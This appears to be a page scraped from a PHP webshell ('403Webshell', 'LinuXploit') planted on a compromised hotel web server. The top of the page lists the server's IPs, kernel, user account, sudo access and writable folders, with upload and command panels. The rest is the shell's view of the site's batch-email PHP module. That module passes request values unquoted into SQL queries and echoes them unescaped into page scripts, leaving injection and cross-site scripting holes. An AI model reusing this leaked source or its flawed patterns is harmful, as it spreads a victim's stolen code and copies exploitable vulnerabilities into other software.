403Webshell
Server IP : 172.67.201.108  /  Your IP : 216.73.216.55
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/hotel-prod/public_html/mod/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/hotel-prod/public_html/mod/batch_email.php
<?php

use classes\lib\SurveyEngine;

 include('_mod_security.php'); ?>
<?php
	//var_dump($_POST);
	$email_function = '';
	$event_id = nz($_GET['event_id'], '0');
	$survey_id = nz($_GET['survey_id'], '0');
	$_REQUEST['id'] = $event_id;
	$batch_type = $_GET['type'];
	if ($batch_type == 'event') :
		$table_join = 'events';
		$table_where = '';
	elseif ($batch_type == 'survey') :
		$table_join = 'surveys';
		$table_where = ' AND id = ' . nz($_GET['survey_id'], '0') . " ";
	endif;
	form_prep('', 'basic_info', 'frm_batch_email');
	if ($_POST['form_submitted'] == '1') :
		$config = HTMLPurifier_Config::createDefault();
		$purifier = new HTMLPurifier($config);
		$_POST['batch_email_html'] = $purifier->purify($_POST['batch_email_html']);
		form_prep_submit();
		form_validate_all();
		if (isset($_FILES['batch_email_attachment_1']) && !empty($_FILES['batch_email_attachment_1']['name'])) :
			$allowed_ext = ['pdf', 'png', 'jpg', 'jpeg', 'gif', 'bmp', 'doc', 'docx', 'ics', 'ical', 'txt'];
			$ext = pathinfo(strtolower($_FILES['batch_email_attachment_1']['name']), PATHINFO_EXTENSION);
			//var_dump($_FILES);
			if (!in_array($ext, $allowed_ext)) :
				$ar_err['batch_email_attachment_1'] = 'File type "'.$ext.'" not allowed!';
				$err_tab = 'basic_info';
				$err_flag = true;
			endif;
		endif;
		if (!$err_flag) :
			try {
				$db->beginTransaction();
				$set = form_generate_set();
				//************** Attachments ****************
				if (isset($_FILES['batch_email_attachment_1']) && !empty($_FILES['batch_email_attachment_1']['name'])) :
					$upload_file_name_1 = str_replace(' ','_',basename($_FILES['batch_email_attachment_1']['name']));
					$upload_file_name_1 = preg_replace('/[^0-9a-z\.\_\-]/i','',$upload_file_name_1);
					$_POST['batch_email_attachment_1_filename'] = $upload_file_name_1;
					$uploaddir = APP_UPLOAD_DIR.'/eventdocs/batch_email_attachments/'.str_pad($event_id, 10, '0', STR_PAD_LEFT);
					if (!is_dir($uploaddir)) :
						mkdir($uploaddir, 0777, true);
					endif;
				else :
					$upload_file_name_1 = $_POST['batch_email_attachment_1_filename'];
				endif;
				if (isset($_FILES['batch_email_attachment_2']) && !empty($_FILES['batch_email_attachment_2']['name'])) :
					$upload_file_name_2 = str_replace(' ','_',basename($_FILES['batch_email_attachment_2']['name']));
					$upload_file_name_2 = preg_replace('/[^0-9a-z\.\_\-]/i','',$upload_file_name_2);
					$_POST['batch_email_attachment_2_filename'] = $upload_file_name_2;
					$uploaddir = APP_UPLOAD_DIR.'/eventdocs/batch_email_attachments/'.str_pad($event_id, 10, '0', STR_PAD_LEFT);
					if (!is_dir($uploaddir)) :
						mkdir($uploaddir, 0777, true);
					endif;
				else :
					$upload_file_name_2 = $_POST['batch_email_attachment_2_filename'];
				endif;
				$sql = "UPDATE {$table_join} SET ".
						"batch_email_attachment_1 = ".$db->quote($upload_file_name_1).", ".
						"batch_email_attachment_2 = ".$db->quote($upload_file_name_2).", ".
						$set.
						"WHERE event_id = ".$event_id." " . $table_where;
				//echo '<p>'.$sql.'</p>';
				$db->query($sql);
				//********* clean up existing files for this event **********
				if (isset($_FILES['batch_email_attachment_1']) && !empty($_FILES['batch_email_attachment_1']['name']) &&
					isset($_FILES['batch_email_attachment_2']) && !empty($_FILES['batch_email_attachment_2']['name'])) :
					$files = glob($uploaddir.'/*');
					foreach ($files as $file) :
						if (is_file($file)) :
							unlink($file);
						endif;
					endforeach;
				endif;
				//************** store file upload 1 ***************
				if (isset($_FILES['batch_email_attachment_1']) && !empty($_FILES['batch_email_attachment_1']['name'])) :
					$uploadfile = $uploaddir.'/'.$upload_file_name_1;
					if (!move_uploaded_file($_FILES['batch_email_attachment_1']['tmp_name'], $uploadfile)) :
						$ar_err['batch_email_attachment_1'] = 'Failed to upload file!';
						throw new Exception('Failed to upload file.');
					endif;
				endif;
				$_POST['batch_email_attachment_1_filename'] = $upload_file_name_1;
				//************** store file upload 2 ***************
				if (isset($_FILES['batch_email_attachment_2']) && !empty($_FILES['batch_email_attachment_2']['name'])) :
					$uploadfile = $uploaddir.'/'.$upload_file_name_2;
					if (!move_uploaded_file($_FILES['batch_email_attachment_2']['tmp_name'], $uploadfile)) :
						$ar_err['batch_email_attachment_2'] = 'Failed to upload file!';
						throw new Exception('Failed to upload file.');
					endif;
				endif;
				$_POST['batch_email_attachment_2_filename'] = $upload_file_name_2;
				//************************************************
				$db->commit();
			} catch(Exception $e) {
				db_err_rollback($e);
			}
			if ($_POST['xsubmit'] == 'Save & Close') :
				echo "<SCRIPT>";
				echo "appstack_pop();";
				echo "</SCRIPT>";
				exit;
			endif;
			if ($_POST['xsubmit'] == 'Preview') :
				echo "<SCRIPT>";
				echo '$(document).ready(function() {';
				echo "process_email('preview', '" . $batch_type . "');";
				echo '});';
				echo "</SCRIPT>";
				$active_tab = 'job_status';
				$email_function = 'preview';
			endif;
			if ($_POST['xsubmit'] == 'Send') :
				echo "<SCRIPT>";
				echo '$(document).ready(function() {';
				echo "process_email('send', '" . $batch_type . "');";
				echo '});';
				echo "</SCRIPT>";
				$active_tab = 'job_status';
				$email_function = 'send';
			endif;
			$form_message = "Saved sucessfully!";
			form_uid_reset();
		else :
			$active_tab = $err_tab;
			$form_message = "Errors found!";
		endif;
	else :
		$sql = "SELECT * FROM {$table_join} WHERE event_id = ".nz($_GET['event_id'], '0')." " . $table_where;
		if (!get_row_to_post($sql)) :
			echo form_fatal_error('Invalid Operation!');
			return;
		endif;
		$_POST['guest_type'] = 'concierges';
		$_POST['venue'] = '1';
		if ($batch_type == 'event') :
			$_POST['rsvp_status'] = 'rsvp';
			$_POST['header_title'] = $_POST['event_name'] . ' - ' . $_POST['event_date_time'];
		elseif ($batch_type == 'survey') :
			$_POST['rsvp_status'] = 'attended';
			$_POST['header_title'] = $_POST['description'];
		endif;
		$_POST['batch_email_attachment_1_filename'] = $row->batch_email_attachment_1;
		$_POST['batch_email_attachment_2_filename'] = $row->batch_email_attachment_2;
		if ($batch_type == 'event') :
			//************** create ICAL file if doesn't already exist *************
			$icaldir = APP_UPLOAD_DIR.'/eventdocs/batch_email_ical/'.str_pad($event_id, 10, '0', STR_PAD_LEFT);
			if (!is_dir($icaldir)) :
				mkdir($icaldir, 0777, true);
			endif;
			//if (!file_exists($icaldir . '/event.ics')) :
				require_once('vendor_classes/ics/ics.php');
				$start_date = date_create($row->event_date_time);
				$end_date = date_create($row->event_date_time);
				date_add($end_date, date_interval_create_from_date_string('3 hours'));
				$start_date->setTimezone(new DateTimeZone('UTC'));
				$end_date->setTimezone(new DateTimeZone('UTC'));
				$event_properties = [
					'dtstart' => $start_date->format('Y-m-d H:i:s'),
					'dtend' => $end_date->format('Y-m-d H:i:s'),
					'description' => $row->event_name . ' - ' . $row->event_venue_1 . ' - ' .$row->event_venue_2,
					'summary' => $row->event_name,
					'location' => $row->venue_1_address,
				];
				$ics = new ICS($event_properties);
				file_put_contents($icaldir . '/event.ics', $ics->to_string());
			//endif;
		endif;
	endif;
	if (isset($_SESSION['batch_email']) && $_SESSION['batch_email']['processing'] === true) :
		$form_message = '';
		$active_tab = 'job_status';
	endif;
	
?>

<script>
	var active_page = '<?php echo $_REQUEST['IX']; ?>';
	var active_tab = '';
	var editor;
	var status_timeout;
	var job_cancel = false;
	
	function batch_finished(html) {
		$('#job_status').append(html);
		$('#btn_cancel').hide();
		$('#header_cancel').hide();
	}
	
	function cancel_process_email() {
		$('#btn_cancel').hide();
		$('#header_cancel').text('Cancelling...');
		$.ajax({
			url: 'ajax.php?call=batch_email_ajax&func=cancel_job',
			data: '',
			dataType: 'text',
			success: function(data) {
				job_cancel = true;
			},
			error: function (request, status, error) {
				alert('Error! ' + error);
			},
		});
	}
	
	function process_email(action, batch_type) {
		if (action == 'send') {
			status_timeout = setTimeout(
				function() {
					process_email_status();
				},
				50
			);
		}
		$.ajax({
			url: 'ajax.php?call=batch_email_ajax&func=send_email&action=' + action + '&batch_type=' + batch_type,
			method: 'POST',
			data: <?php echo json_encode($_POST); ?>,
			dataType: 'text',
			success: function(data) {
				if (action == 'preview') {
					batch_finished(data);
				}
			},
			error: function (request, status, error) {
				if (error > ' ') {
					alert('Error! ' + error);
				}
			},
		});
	}
	
	function process_email_status() {
		$.ajax({
			url: 'ajax.php?call=batch_email_ajax&func=get_job_status',
			data: '',
			dataType: 'json',
			success: function(json) {
				if (json.status == 'inprogress') {
					$('#job_status').html('<p>Processing ' + json.current_rec + ' of ' + json.total_recs + ' emails.</p>');
					status_timeout = setTimeout(
						function() {
							process_email_status();
						},
						1000
					);
				} else {
					if (json.status == 'cancel') {
						batch_finished('<p>Processing cancelled.</p>' + json.html);
					} else {
						batch_finished('<p>Processing completed.</p>' + json.html);
					}
					clearTimeout(status_timeout);
				}
			},
			error: function (request, status, error) {
				alert('Error! ' + error);
			},
		});
	}
	
	function set_email_selection(sel) {
		if (sel == 'all' || sel == 'nonresponders') {
			$('#email_guest_selection').html('');
			$('#email_guest_selection').hide();
		} else {
			var venue_id = '';
			var favor_id = '';
			/*
			$('#email_guest_selection').load('ajax.php?call=batch_email_ajax&func=load_email_guests&event_id=<?=$_GET['event_id'] ?>&guest_type='
				 + $('input[name=guest_type]:checked').val() + '&venue=' + $('#venue').val() + '&rsvp_status=' + $('#rsvp_status').val(), 
				function() {
					$('#email_guest_selection').show();
				}
			);
			*/
			$.ajax({
				url: 'ajax.php?call=batch_email_ajax&func=load_email_guests&event_id=<?=$_GET['event_id'] ?>&guest_type='
					+ $('input[name=guest_type]:checked').val() + '&venue=' + $('#venue').val() + '&rsvp_status=' + $('#rsvp_status').val(),
				method: 'POST',
				data: <?php echo json_encode($_POST); ?>,
				dataType: 'text',
				success: function(data) {
					$('#email_guest_selection').html(data);
					$('#email_guest_selection').show();
				},
				error: function (request, status, error) {
					alert('Error! ' + error);
				},
			});
		}
	}

	function update_dropdowns() {
		set_email_selection($('input:radio[name=email_selection]:checked').val());
	}
	
	$(document).ready(function() {
		switch_tab('<?php echo $active_tab; ?>');
		//alert($('#email_selection').val());
		set_email_selection($('input:radio[name=email_selection]:checked').val());
		/*
		*/
		editor = $('#batch_email_html').trumbowyg({
			removeformatPasted: true,
			btns: ['fontfamily'],
			btns: [
				['viewHTML'],
				['undo', 'redo'], // Only supported in Blink browsers
				['formatting'],
				['strong', 'em', 'del'],
				['superscript', 'subscript'],
				['link'],
				['insertImage'],
				['justifyLeft', 'justifyCenter', 'justifyRight', 'justifyFull'],
				['unorderedList', 'orderedList'],
				['horizontalRule'],
				['removeformat'],
				['fullscreen'],
				['fontfamily'],
			],
		});
	});
</script>

<h1>Batch Email - <?php echo strtoupper($batch_type) . ' - ' . $action . ' - ' . $_POST['header_title']; ?><span id="header_repeater"></span></h1>
<?php echo form_message($form_message); ?>

<form name="frm_batch_email" id="frm_batch_email" enctype="multipart/form-data" method="post" action="">
	<input name="form_submitted" type="hidden" value="1" />
	<input name="active_tab" id="active_tab" type="hidden" value="basic_info" />
	<input name="event_id" type="hidden" value="<?=$event_id ?>" />
	<input name="survey_id" type="hidden" value="<?=$survey_id ?>" />
	<input name="event_name" type="hidden" value="<?=$_POST['event_name'] ?>" />
	<input name="event_date_time" type="hidden" value="<?=$_POST['event_date_time'] ?>" />
	<input name="description" type="hidden" value="<?=$_POST['description'] ?>" />
	<input name="header_title" type="hidden" value="<?=$_POST['header_title'] ?>" />
	<?php form_button_strip('top', ['preview'=>['show'=>true, 'caption'=>'Preview', 'js' => "sheet_dirty = false; document.getElementById('xsubmit').value = this.value; this.form.submit();"], 'send'=>['show'=>true, 'caption'=>'Send', 'js'=>"sheet_dirty = false; document.getElementById('xsubmit').value = this.value; this.form.submit();"], 'save_new'=>['show'=>false]]); ?>
	<div class="tab_strip">
		<?php
			form_tab_header('basic_info', 'Basic Info', '');
			form_tab_header('job_status', 'Job Status', '');
		?>
	</div>
	<div class="cleardiv">
		&nbsp;
	</div>
	<?php form_tab_start('basic_info', 'Send Batch Email'); ?>
		<p>
			Email will be sent only to those concierges or guests who have an email address.
		</p>
		<div class="input_column">
			<?php
				/*
				$sql = "SELECT event_id, CONCAT(event_name, ' - ', event_date_time) FROM events ORDER BY event_date_time DESC ";
				$result_event = $db->query($sql) or die('Database Error!');
				$ar_events = $result_event->fetchAll(PDO::FETCH_KEY_PAIR);
				form_field(['fname'=>'event_id_select', 'ftype'=>'select', 'fsize'=>25, 'frequired'=>true, 'fdbname'=>'', 'flabel'=>'Select Event', 'ar_group'=>$ar_events, 'fstyle'=>'max-width: 600px; margin-left: auto; margin-right: auto;']);
				*/
				$ar_guest_types = ['concierges'=>'Concierges', 'guests'=>'Guests', 'both'=>'Both'];
				form_field(['fname'=>'guest_type', 'ftype'=>'radiogroup', 'fsize'=>10, 'frequired'=>true, 'fdbname'=>'', 'ar_group'=>$ar_guest_types, 'flabel'=>'Email Type Selection', 'onchange'=>'update_dropdowns();']);
				$ar_venues = ['1'=>'Venue 1', '2'=>'Venue 2'];
				form_field(['fname'=>'venue', 'ftype'=>'select', 'fsize'=>25, 'frequired'=>true, 'fdbname'=>'', 'flabel'=>'Venue', 'ar_group'=>$ar_venues, 'onchange'=>'update_dropdowns();']);
				$ar_status = ['rsvp'=>'RSVP', 'attended'=>'Attended', 'conf'=>'Confirmed', 'cancel'=>'Cancelled', 'wait'=>'Waitlist'];
				form_field(['fname'=>'rsvp_status', 'ftype'=>'select', 'fsize'=>25, 'frequired'=>true, 'fdbname'=>'', 'flabel'=>'RSVP Status', 'ar_group'=>$ar_status, 'onchange'=>'update_dropdowns();']);
				$ar_print_selection = ['all'=>'All emails', 'specific'=>'Specific'];
				if (!empty($survey_id)) :
					$ar_print_selection['nonresponders'] = 'Survey non-responders';
				endif;
				if (empty($_POST['email_selection'])) :
					$_POST['email_selection'] = 'all';
				endif;
				form_field(['fname'=>'email_selection', 'ftype'=>'radiogroup', 'fsize'=>10, 'frequired'=>false, 'fdbname'=>'', 'ar_group'=>$ar_print_selection, 'flabel'=>'Email Send Selection', 'onchange'=>'set_email_selection($(this).val());']);
				echo '<div id="email_guest_selection"></div>';
			?>
		</div>
		<div class="input_column" style="max-width:750px;">
			<?php
				form_field(['fname'=>'batch_email_reply_address', 'ftype'=>'text', 'datatype'=>'email', 'fsize'=>150, 'frequired'=>true, 'fdbname'=>'batch_email_reply_address', 'flabel'=>'Reply To Email Address']);
				form_field(['fname'=>'batch_email_reply_name', 'ftype'=>'text', 'fsize'=>150, 'frequired'=>true, 'fdbname'=>'batch_email_reply_name', 'flabel'=>'Reply To Name']);
				form_field(['fname'=>'batch_email_subject', 'ftype'=>'text', 'fsize'=>150, 'frequired'=>true, 'fdbname'=>'batch_email_subject', 'flabel'=>'Email Subject']);
				form_field(['fname'=>'batch_email_cc', 'ftype'=>'text', 'datatype'=>'email', 'fsize'=>150, 'frequired'=>false, 'fdbname'=>'batch_email_cc', 'flabel'=>'Email CC']);
				form_field(['fname'=>'batch_email_bcc', 'ftype'=>'text', 'datatype'=>'email', 'fsize'=>150, 'frequired'=>false, 'fdbname'=>'batch_email_bcc', 'flabel'=>'Email BCC']);
				form_field(['fname'=>'batch_email_attachment_1', 'ftype'=>'file', 'fsize'=>10, 'frequired'=>false, 'fdbname'=>'batch_email_attachment_1', 'flabel'=>'Email Attachment 1']);
				if (!empty($_POST['batch_email_attachment_1_filename'])) :
					echo '<span id="file_attachment_spec">';
					echo '<br /><br /><a href="ajax.php?call=_file_download&id='.$event_id.'&type=batch_email_attachment&ordinal=1&event_id='.$event_id.'" >'.$_POST['batch_email_attachment_1_filename'].'</a>';
					echo '&emsp;&emsp;<a href="#" onclick="$(\'#batch_email_attachment_1_filename\').val(\'\'); $(\'#file_attachment_spec\').hide(); return false;">Remove attachment</a><br /><br />';
					echo '</span>';
				endif;
				form_field(['fname'=>'batch_email_attachment_2', 'ftype'=>'file', 'fsize'=>10, 'frequired'=>false, 'fdbname'=>'batch_email_attachment_2', 'flabel'=>'Email Attachment 2']);
				if (!empty($_POST['batch_email_attachment_2_filename'])) :
					echo '<span id="file_attachment2_spec">';
					echo '<br /><br /><a href="ajax.php?call=_file_download&id='.$event_id.'&type=batch_email_attachment&ordinal=2&event_id='.$event_id.'" >'.$_POST['batch_email_attachment_2_filename'].'</a>';
					echo '&emsp;&emsp;<a href="#" onclick="$(\'#batch_email_attachment_2_filename\').val(\'\'); $(\'#file_attachment2_spec\').hide(); return false;">Remove attachment</a><br /><br />';
					echo '</span>';
				endif;
				if ($batch_type == 'event') :
					$ar_placeholders = ['first_name', 'last_name', 'email', 'org', 'event_date', 'event_time', 'ical_link'];
				elseif ($batch_type == 'survey') :
					$ar_placeholders = SurveyEngine::PLACEHOLDERS;
				endif;
				form_field(['fname'=>'placeholder', 'ftype'=>'select', 'fsize'=>25, 'frequired'=>false, 'fdbname'=>'', 'flabel'=>'Placeholder - select to insert into HTML below', 'ar_group'=>$ar_placeholders, 'onchange'=>'insert_text_at_cursor(\'[\' + $(this).val() + \']\', false, \'batch_email_html\'); return false;']);
				form_field(['fname'=>'batch_email_html', 'ftype'=>'textarea', 'fsize'=>70, 'frows'=>20, 'frequired'=>true, 'fdbname'=>'batch_email_html', 'flabel'=>'Email HTML (TIP: use SHIFT+ENTER for Carriage Return)']);
			?>
		</div>
	<?php form_tab_end(); ?>
	<!-- -------------------------------------------------------------------------------------------------------------- -->
	<?php form_tab_start('job_status', 'Batch Email Job Status'); ?>
	<?php
		if ($email_function == 'send') :
			echo '<h2>Send job is in progress</h2>';
			echo '<h3>Do not interrupt or navigate away from this page</h3>';
			echo '<h3 id="header_cancel">Click "Cancel" to stop processing</h3>';
			echo '<button id="btn_cancel" type="button" onclick="cancel_process_email();">Cancel</button>';
		elseif ($email_function == 'preview') :
			echo '<h2>Email Preview</h2>';
			//var_dump($_POST);
		else :
			echo '<h2>No active jobs at this time</h2>';
		endif;
	?>
	<div id="job_status">
	</div>
	<?php form_tab_end(); ?>
	<!-- -------------------------------------------------------------------------------------------------------------- -->
	<?php form_button_strip('bottom', ['preview'=>['show'=>true, 'caption'=>'Preview', 'js' => "sheet_dirty = false; document.getElementById('xsubmit').value = this.value; this.form.submit();"], 'send'=>['show'=>true, 'caption'=>'Send', 'js'=>"sheet_dirty = false; document.getElementById('xsubmit').value = this.value; this.form.submit();"], 'save_new'=>['show'=>false]]); ?>
</form>

<script type="text/javascript" src="trumbowyg/dist/trumbowyg.min.js?ver=<?php echo filemtime(__DIR__.'/../trumbowyg/dist/trumbowyg.min.js') ?>"></script>
<script src="trumbowyg/dist/plugins/fontfamily/trumbowyg.fontfamily.min.js?ver=<?php echo filemtime(__DIR__.'/../trumbowyg/dist/plugins/fontfamily/trumbowyg.fontfamily.min.js') ?>"></script>

Youez - 2016 - github.com/yon3zu
LinuXploit